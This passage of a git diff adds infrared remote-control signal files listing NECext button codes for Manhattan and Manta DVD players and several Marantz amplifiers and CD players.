+protocol: NECext +address: 01 00 00 00 +command: 53 00 00 00 +# +name: SLOW_< +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 54 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 55 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 56 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 57 00 00 00 +# +name: FEATURE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 58 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 59 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5A 00 00 00 +# +name: SLOW_> +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5C 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5D 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Manhattan/Unknown_DVD/29,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Manhattan/Unknown_DVD/29,-1.ir new file mode 100644 index 000000000..26a079fc5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Manhattan/Unknown_DVD/29,-1.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 00 00 00 00 +# +name: KEY_C +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 02 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 03 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 05 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 06 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 08 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 09 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 0A 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 0C 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 0D 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 0E 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 10 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 11 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 15 00 00 00 +# +name: RWD +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 16 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 20 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 21 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 22 00 00 00 +# +name: SEARCH_MODE +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 23 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 29 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 2A 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 2B 00 00 00 +# +name: RRWD +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 2C 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 2D 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 2E 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 2F 00 00 00 +# +name: A_B +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 30 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 32 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 34 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 34 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 36 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 37 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 38 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 3C 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Manta/Unknown_DVD-002/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Manta/Unknown_DVD-002/0,-1.ir new file mode 100644 index 000000000..1eb6ea38c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Manta/Unknown_DVD-002/0,-1.ir @@ -0,0 +1,278 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: pbc +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: n/p +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: a-b +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: r/l +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 42 00 00 00 +# +name: view +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 47 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: prog +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4B 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: KEY_0+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5E 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Manta/Unknown_DVD-007/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Manta/Unknown_DVD-007/0,-1.ir new file mode 100644 index 000000000..ffd60fbe5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Manta/Unknown_DVD-007/0,-1.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: ab +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_LIGHTS_TOGGLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_0+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: step +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: rev +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: pbc +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: lr +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 41 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 42 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 46 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 47 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: np +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4B 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4F 00 00 00 +# +name: prog +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/16,-1.ir new file mode 100644 index 000000000..8e193f594 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/16,-1.ir @@ -0,0 +1,86 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: MUTE_ATT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0F 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: SPEAKER_A/B +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1D 00 00 00 +# +name: SOURCE_DIRECT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 22 00 00 00 +# +name: LOUDNESS +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 32 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 50 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 51 00 00 00 +# +name: EXIT_MENU +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 53 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 55 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 56 00 00 00 +# +name: ENTER_(OK) +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 57 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/17,-1.ir new file mode 100644 index 000000000..5c61a80b4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/17,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: TUNER/LINE_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/18,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/18,-1.ir new file mode 100644 index 000000000..16d6fb61b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/18,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: RECORDER_2_(TAPE) +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/20,-1.ir new file mode 100644 index 000000000..6fe80499f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/20,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: CD +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/21,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/21,-1.ir new file mode 100644 index 000000000..0b8404dd8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/21,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: PHONO +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/23,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/23,-1.ir new file mode 100644 index 000000000..7e5120d8b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/23,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: RECORDER_2_(MD) +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/26,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/26,-1.ir new file mode 100644 index 000000000..402b6677e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/26,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: RECORDER_1_(CD-R) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/CD Changer/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/CD Changer/20,-1.ir new file mode 100644 index 000000000..9d483e9f8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/CD Changer/20,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 09 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0B 00 00 00 +# +name: SCROLL/RECALL +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0F 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1C 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1D 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 29 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2D 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 30 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 31 00 00 00 +# +name: BACKWARD +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 32 00 00 00 +# +name: FORWARD +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 34 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 37 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 38 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 39 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 40 00 00 00 +# +name: DISC_5 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 41 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 47 00 00 00 +# +name: NEXT_DISC +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 72 00 00 00 +# +name: PREVIOUS_DISC +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 73 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/CD Jukebox/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/CD Jukebox/20,-1.ir new file mode 100644 index 000000000..a2655afb7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/CD Jukebox/20,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 09 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0B 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0C 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0F 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1C 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1D 00 00 00 +# +name: DISC +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1E 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 29 00 00 00 +# +name: AMS +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2B 00 00 00 +# +name: OPEN/EJECT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2D 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 30 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 31 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 32 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 34 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 +# +name: CATEGORY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 5C 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 6D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/CD Player/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/CD Player/20,-1.ir new file mode 100644 index 000000000..9c5e77b23 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/CD Player/20,-1.ir @@ -0,0 +1,746 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: FIGURE_0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: FIGURE_1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: FIGURE_2 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: FIGURE_3 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: FIGURE_4 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: FIGURE_5 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: FIGURE_6 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: FIGURE_7 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 08 00 00 00 +# +name: FIGURE_8 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 09 00 00 00 +# +name: FIGURE_9 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 09 00 00 00 +# +name: FIGURE_10/0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0A 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0A 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0B 00 00 00 +# +name: POWER_ON/STANDBY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0C 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0C 00 00 00 +# +name: SCROLL/RECALL +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0F 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0F 00 00 